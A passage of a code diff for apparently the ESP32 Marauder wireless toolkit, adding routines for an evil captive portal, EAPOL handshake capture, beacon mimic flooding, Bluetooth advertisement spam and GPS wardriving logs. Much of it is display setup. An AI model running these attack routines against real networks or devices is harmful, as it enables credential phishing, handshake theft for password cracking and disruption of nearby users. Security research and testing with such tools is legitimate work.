+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.print("Saved SSIDs: ");
+ display_obj.tft.println((String)ssids->size());
+ #endif
+ Serial.print("Saved SSIDs: ");
+ Serial.println((String)ssids->size());
+ }
+}
+
+void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color)
+{
+ startLog("evil_portal");
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_WHITE, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(" Evil Portal ",120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_MAGENTA, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+ evil_portal_obj.begin(ssids, access_points);
+ //if (!evil_portal_obj.begin(ssids, access_points)) {
+ // Serial.println("Could not successfully start EvilPortal. Setting WIFI_SCAN_OFF...");
+ // this->StartScan(WIFI_SCAN_OFF, TFT_MAGENTA);
+ // return;
+ //}
+ //else
+ // Serial.println("Setup EvilPortal. Current mode: " + this->currentScanMode);
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+// Function to start running a beacon scan
+void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
+{
+ startPcap("ap");
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ Serial.println(text_table4[9] + (String)access_points->size());
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_WHITE, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(text_table4[44],120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+
+ delete access_points;
+ access_points = new LinkedList();
+
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_filter(&filt);
+ //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
+ esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
+ //else
+ // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+#ifdef HAS_SCREEN
+ void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
+
+ display_obj.tft.init();
+ display_obj.tft.setRotation(1);
+
+ #ifdef TFT_SHIELD
+ uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+ Serial.println("Using TFT Shield");
+ #else if defined(TFT_DIY)
+ uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+ Serial.println("Using TFT DIY");
+ #endif
+ #ifdef HAS_ILI9341
+ display_obj.tft.setTouch(calData);
+ #endif
+
+
+ lv_obj_t * scr = lv_cont_create(NULL, NULL);
+ lv_disp_load_scr(scr);
+
+ }
+#endif
+
+void WiFiScan::RunClearStations() {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.println(F(text_table4[45]));
+ display_obj.tft.println(text_table4[46] + (String)this->clearStations());
+ #else
+ this->clearStations();
+ #endif
+}
+
+void WiFiScan::RunClearAPs() {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.println(F(text_table4[9]));
+ display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
+ display_obj.tft.println(F(text_table4[45]));
+ display_obj.tft.println(text_table4[46] + (String)this->clearStations());
+ #else
+ this->clearAPs();
+ this->clearStations();
+ #endif
+}
+
+void WiFiScan::RunClearSSIDs() {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.println(F(text_table4[11]));
+ display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
+ #else
+ this->clearSSIDs();
+ #endif
+}
+
+void WiFiScan::RunGenerateSSIDs(int count) {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.println(F(text_table4[13]));
+
+ display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
+ display_obj.tft.println(text_table4[15] + (String)ssids->size());
+ #else
+ this->generateSSIDs(count);
+ #endif
+}
+
+/*void WiFiScan::RunShutdownBLE() {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.print(F(text_table4[18]));
+ #endif
+
+ if (this->ble_initialized) {
+ this->shutdownBLE();
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN);
+ display_obj.tft.println(F("OK"));
+ #endif
+ }
+ else {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_RED);
+ display_obj.tft.println(F(text17));
+ display_obj.tft.println(F(text_table4[19]));
+ #endif
+ }
+}*/
+
+void WiFiScan::RunGPSInfo() {
+ #ifdef HAS_GPS
+ String text=gps_obj.getText();
+
+ Serial.println("Refreshing GPS Data on screen...");
+ #ifdef HAS_SCREEN
+
+ // Get screen position ready
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ // Clean up screen first
+ //display_obj.tft.fillRect(0, 0, 240, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ display_obj.tft.fillRect(0, (SCREEN_HEIGHT / 3) - 6, SCREEN_WIDTH, SCREEN_HEIGHT - ((SCREEN_HEIGHT / 3) - 6), TFT_BLACK);
+
+ // Print the GPS data: 3
+ display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+ if (gps_obj.getFixStatus())
+ display_obj.tft.println(" Good Fix: Yes");
+ else
+ display_obj.tft.println(" Good Fix: No");
+
+ if(text != "") display_obj.tft.println(" Text: " + text);
+
+ display_obj.tft.println("Satellites: " + gps_obj.getNumSatsString());
+ display_obj.tft.println(" Accuracy: " + (String)gps_obj.getAccuracy());
+ display_obj.tft.println(" Latitude: " + gps_obj.getLat());
+ display_obj.tft.println(" Longitude: " + gps_obj.getLon());
+ display_obj.tft.println(" Altitude: " + (String)gps_obj.getAlt());
+ display_obj.tft.println(" Datetime: " + gps_obj.getDatetime());
+ #endif
+
+ // Display to serial
+ Serial.println("==== GPS Data ====");
+ if (gps_obj.getFixStatus())
+ Serial.println(" Good Fix: Yes");
+ else
+ Serial.println(" Good Fix: No");
+
+ if(text != "") Serial.println(" Text: " + text);
+
+ Serial.println("Satellites: " + gps_obj.getNumSatsString());
+ Serial.println(" Accuracy: " + (String)gps_obj.getAccuracy());
+ Serial.println(" Latitude: " + gps_obj.getLat());
+ Serial.println(" Longitude: " + gps_obj.getLon());
+ Serial.println(" Altitude: " + (String)gps_obj.getAlt());
+ Serial.println(" Datetime: " + gps_obj.getDatetime());
+ #endif
+}
+
+void WiFiScan::RunGPSNmea() {
+ #ifdef HAS_GPS
+ LinkedList *buffer=gps_obj.get_queue();
+ bool queue_enabled=gps_obj.queue_enabled();
+
+ String gxgga = gps_obj.generateGXgga();
+ String gxrmc = gps_obj.generateGXrmc();
+
+ if(!buffer||!queue_enabled)
+ gps_obj.flush_queue();
+ #ifndef HAS_SCREEN
+ else
+ gps_obj.flush_text();
+ #else
+ // Get screen position ready
+ int offset=100;
+ if((SCREEN_HEIGHT / 3)((TFT_HEIGHT-offset-BOT_FIXED_AREA)/10))
+ lines=(TFT_HEIGHT-offset-BOT_FIXED_AREA)/10;
+ #endif
+
+ String text=gps_obj.getText();
+ if(queue_enabled){
+ int queue=gps_obj.getTextQueueSize();
+ if(queue>0){
+ display_obj.tft.println(gps_obj.getTextQueue());
+ lines-=queue; //used lines for text display
+ }
+ else
+ if(text != ""){
+ display_obj.tft.println(text);
+ lines--;
+ }
+ }
+ else
+ if(text != ""){
+ display_obj.tft.println(text);
+ lines--;
+ }
+
+ #if GPS_NMEA_SCRNWRAP
+ lines-=((gxgga.length()-1)/STANDARD_FONT_CHAR_LIMIT) + 1;
+ lines-=((gxrmc.length()-1)/STANDARD_FONT_CHAR_LIMIT) + 1;
+ display_obj.tft.setTextWrap(GPS_NMEA_SCRNWRAP);
+ #else
+ lines-=2; //two self-genned messages
+ #endif
+ #endif
+
+ if(buffer && queue_enabled){
+ int size=buffer->size();
+ if(size){
+ gps_obj.new_queue();
+ for(int i=0;iget(i);
+ Serial.println(line.sentence);
+
+ #ifdef HAS_SCREEN
+ if(lines>0){
+ if(line.unparsed){
+ if(line.type != "" && line.type != "TXT" && line.type != "GGA" && line.type != "RMC"){
+ int length=line.sentence.length();
+ if(length){
+ #if GPS_NMEA_SCRNWRAP
+ if((((length-1)/STANDARD_FONT_CHAR_LIMIT) + 1)<=lines){
+ #endif
+ display_obj.tft.println(line.sentence);
+ #if GPS_NMEA_SCRNWRAP
+ lines-=((length-1)/STANDARD_FONT_CHAR_LIMIT) + 1;
+ #else
+ lines--;
+ #endif
+ #if GPS_NMEA_SCRNWRAP
+ }
+ #endif
+ }
+ }
+ }
+ }
+ #endif
+ }
+ delete buffer;
+ }
+ } else {
+ static String old_nmea_sentence="";
+ String nmea_sentence=gps_obj.getNmeaNotimp();
+
+ if(nmea_sentence != "" && nmea_sentence != old_nmea_sentence){
+ old_nmea_sentence=nmea_sentence;
+ Serial.println(nmea_sentence);
+ }
+
+ #ifdef HAS_SCREEN
+ if(lines>0){
+ String display_nmea_sentence=gps_obj.getNmeaNotparsed();
+ int length=display_nmea_sentence.length();
+ if(length)
+ #if GPS_NMEA_SCRNWRAP
+ if((((length-1)/STANDARD_FONT_CHAR_LIMIT) + 1)<=lines)
+ #endif
+ display_obj.tft.println(display_nmea_sentence);
+ }
+ #endif
+ }
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(gxgga);
+ display_obj.tft.println(gxrmc);
+ #if GPS_NMEA_SCRNWRAP
+ display_obj.tft.setTextWrap(false);
+ #endif
+ #endif
+
+ gps_obj.sendSentence(Serial, gxgga.c_str());
+ gps_obj.sendSentence(Serial, gxrmc.c_str());
+
+ #endif
+}
+
+void WiFiScan::RunInfo()
+{
+ String sta_mac = this->getStaMAC();
+ String ap_mac = this->getApMAC();
+ String free_ram = this->freeRAM();
+
+ Serial.println(free_ram);
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+ display_obj.tft.println(text_table4[20]);
+ display_obj.tft.println(text_table4[21] + display_obj.version_number);
+ display_obj.tft.println("Hardware: " + (String)HARDWARE_NAME);
+ display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
+ #endif
+
+ if (this->wsl_bypass_enabled) {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table4[23]);
+ #endif
+ }
+ else {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table4[24]);
+ #endif
+ }
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table4[25] + sta_mac);
+ display_obj.tft.println(text_table4[26] + ap_mac);
+ display_obj.tft.println(text_table4[27] + free_ram);
+ #endif
+
+ #if defined(HAS_SD)
+ if (sd_obj.supported) {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table4[28]);
+ display_obj.tft.print(text_table4[29]);
+ display_obj.tft.print(sd_obj.card_sz);
+ display_obj.tft.println("MB");
+ #endif
+ } else {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table4[30]);
+ display_obj.tft.println(text_table4[31]);
+ #endif
+ }
+ #endif
+
+ #ifdef HAS_BATTERY
+ battery_obj.battery_level = battery_obj.getBatteryLevel();
+ if (battery_obj.i2c_supported) {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table4[32]);
+ display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
+ #endif
+ }
+ else {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table4[34]);
+ #endif
+ }
+ #endif
+
+ //#ifdef HAS_SCREEN
+ // display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
+ //#endif
+}
+
+void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
+{
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ startPcap("packet_monitor");
+
+ #ifdef HAS_ILI9341
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.init();
+ display_obj.tft.setRotation(1);
+ display_obj.tft.fillScreen(TFT_BLACK);
+ #endif
+
+ #ifdef HAS_SCREEN
+ #ifdef TFT_SHIELD
+ uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+ Serial.println("Using TFT Shield");
+ #else if defined(TFT_DIY)
+ uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+ Serial.println("Using TFT DIY");
+ #endif
+ display_obj.tft.setTouch(calData);
+
+ //display_obj.tft.setFreeFont(1);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
+ display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
+
+ delay(10);
+
+ display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
+ display_obj.tftDrawColorKey();
+ display_obj.tftDrawXScaleButtons(x_scale);
+ display_obj.tftDrawYScaleButtons(y_scale);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ #endif
+ #else
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_WHITE, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+ #endif
+
+ Serial.println("Running packet scan...");
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_filter(&filt);
+ esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ this->wifi_initialized = true;
+ uint32_t initTime = millis();
+}
+
+void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
+{
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ num_eapol = 0;
+
+ #ifdef HAS_ILI9341
+ #ifdef HAS_SCREEN
+ display_obj.tft.init();
+ display_obj.tft.setRotation(1);
+ display_obj.tft.fillScreen(TFT_BLACK);
+ #endif
+
+ startPcap("eapol");
+
+ #ifdef HAS_SCREEN
+ #ifdef TFT_SHIELD
+ uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+ //Serial.println("Using TFT Shield");
+ #else if defined(TFT_DIY)
+ uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+ //Serial.println("Using TFT DIY");
+ #endif
+ display_obj.tft.setTouch(calData);
+
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
+ display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
+
+ delay(10);
+
+ display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
+ display_obj.tftDrawEapolColorKey();
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ #endif
+ #else
+ startPcap("eapol");
+
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_WHITE, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+ #endif
+
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_AP);
+
+ esp_err_t err;
+ wifi_config_t conf;
+ err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
+ if (err != 0)
+ {
+ Serial.print("could not set protocol : err=0x");
+ Serial.println(err, HEX);
+ }
+
+ esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
+ conf.ap.ssid[0] = '\0';
+ conf.ap.ssid_len = 0;
+ conf.ap.channel = this->set_channel;
+ conf.ap.ssid_hidden = 1;
+ conf.ap.max_connection = 0;
+ conf.ap.beacon_interval = 60000;
+
+ err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
+ if (err != 0)
+ {
+ Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
+ Serial.println(err, HEX);
+ }
+
+ esp_wifi_start();
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_filter(&filt);
+ if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+ esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
+ else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL)
+ esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
+ else
+ esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+
+// Function to prepare for beacon mimic
+void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_BLACK, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ #endif
+
+ packets_sent = 0;
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_AP_STA);
+ esp_wifi_start();
+ esp_wifi_set_promiscuous_filter(NULL);
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_max_tx_power(78);
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
+{
+ startPcap("pwnagotchi");
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_WHITE, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(text_table4[37],120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_filter(&filt);
+ esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+void WiFiScan::executeSourApple() {
+ #ifdef HAS_BT
+ NimBLEDevice::init("");
+ NimBLEServer *pServer = NimBLEDevice::createServer();
+
+ pAdvertising = pServer->getAdvertising();
+
+ delay(40);
+ //NimBLEAdvertisementData advertisementData = getOAdvertisementData();
+ NimBLEAdvertisementData advertisementData = this->GetUniversalAdvertisementData(Apple);
+ pAdvertising->setAdvertisementData(advertisementData);
+ pAdvertising->start();
+ delay(20);
+ pAdvertising->stop();
+ #endif
+}
+
+const char* WiFiScan::generateRandomName() {
+ const char* charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ int len = rand() % 10 + 1; // Generate a random length between 1 and 10
+ char* randomName = (char*)malloc((len + 1) * sizeof(char)); // Allocate memory for the random name
+ for (int i = 0; i < len; ++i) {
+ randomName[i] = charset[rand() % strlen(charset)]; // Select random characters from the charset
+ }
+ randomName[len] = '\0'; // Null-terminate the string
+ return randomName;
+}
+
+void WiFiScan::generateRandomMac(uint8_t* mac) {
+ // Set the locally administered bit and unicast bit for the first byte
+ mac[0] = 0x02; // The locally administered bit is the second least significant bit
+
+ // Generate the rest of the MAC address
+ for (int i = 1; i < 6; i++) {
+ mac[i] = random(0, 255);
+ }
+}
+
+void WiFiScan::executeSwiftpairSpam(EBLEPayloadType type) {
+ #ifdef HAS_BT
+ uint8_t macAddr[6];
+ generateRandomMac(macAddr);
+
+ esp_base_mac_addr_set(macAddr);
+
+ NimBLEDevice::init("");
+
+ NimBLEServer *pServer = NimBLEDevice::createServer();
+
+ pAdvertising = pServer->getAdvertising();
+
+ //NimBLEAdvertisementData advertisementData = getSwiftAdvertisementData();
+ NimBLEAdvertisementData advertisementData = this->GetUniversalAdvertisementData(type);
+ pAdvertising->setAdvertisementData(advertisementData);
+ pAdvertising->start();
+ delay(10);
+ pAdvertising->stop();
+
+ NimBLEDevice::deinit();
+ #endif
+}
+
+void WiFiScan::executeWarDrive() {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ bool do_save;
+ String display_string;
+
+ while (WiFi.scanComplete() == WIFI_SCAN_RUNNING) {
+ Serial.println("Scan running...");
+ delay(500);
+ }
+
+ int n = WiFi.scanNetworks(false, true, false, 110, this->set_channel);
+
+ if (n > 0) {
+ for (int i = 0; i < n; i++) {
+ display_string = "";
+ do_save = false;
+ uint8_t *this_bssid_raw = WiFi.BSSID(i);
+ char this_bssid[18] = {0};
+ sprintf(this_bssid, "%02X:%02X:%02X:%02X:%02X:%02X", this_bssid_raw[0], this_bssid_raw[1], this_bssid_raw[2], this_bssid_raw[3], this_bssid_raw[4], this_bssid_raw[5]);
+
+ if (this->seen_mac(this_bssid_raw))
+ continue;
+
+ this->save_mac(this_bssid_raw);
+
+ String ssid = WiFi.SSID(i);
+ ssid.replace(",","_");
+
+ if (ssid != "") {
+ display_string.concat(ssid);
+ }
+ else {
+ display_string.concat(this_bssid);
+ }
+
+ if (gps_obj.getFixStatus()) {
+ do_save = true;
+ display_string.concat(" | Lt: " + gps_obj.getLat());
+ display_string.concat(" | Ln: " + gps_obj.getLon());
+ }
+ else {
+ display_string.concat(" | GPS: No Fix");
+ }
+
+ int temp_len = display_string.length();
+
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ display_obj.display_buffer->add(display_string);
+ #endif
+
+
+ String wardrive_line = WiFi.BSSIDstr(i) + "," + ssid + "," + this->security_int_to_string(WiFi.encryptionType(i)) + "," + gps_obj.getDatetime() + "," + (String)WiFi.channel(i) + "," + (String)WiFi.RSSI(i) + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI\n";
+ Serial.print((String)this->mac_history_cursor + " | " + wardrive_line);
+
+ if (do_save) {
+ buffer_obj.append(wardrive_line);
+ }
+ }
+ }
+ this->channelHop();
+
+ // Free up that memory, you sexy devil
+ WiFi.scanDelete();
+ }
+ #endif
+}
+
+// Function to start running a beacon scan
+void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
+{
+ if (scan_mode == WIFI_SCAN_AP)
+ startPcap("beacon");
+ else if (scan_mode == WIFI_SCAN_WAR_DRIVE) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ startLog("wardrive");
+ String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n";
+ buffer_obj.append(header_line);
+ } else {
+ return;
+ }
+ #else
+ return;
+ #endif
+ }
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_WHITE, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ if (scan_mode == WIFI_SCAN_AP)
+ display_obj.tft.drawCentreString(text_table4[38],120,16,2);
